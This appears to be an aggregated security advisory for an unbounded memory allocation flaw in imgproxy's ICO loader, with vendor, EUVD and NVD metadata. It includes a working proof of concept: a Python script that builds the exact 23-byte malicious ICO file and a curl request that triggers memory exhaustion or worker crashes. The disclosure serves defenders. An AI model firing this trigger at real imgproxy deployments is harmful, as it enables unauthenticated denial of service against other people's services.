imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.
imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.
imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.
### Summary
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.
### Details
In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:
```
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
```
There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.
### PoC
```py
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
```
```
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
# decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
# transiently — repeatable memory exhaustion).
```
### Impact
Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field in github.com/imgproxy/imgproxy
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Nov 8, 2026, 1:38:40 AM
dateUpdated: Nov 12, 2026, 5:52:10 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-789
Original publisher date fields
published: 2026-11-08T02:16:57.307
lastModified: 2026-11-12T20:28:31.817
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.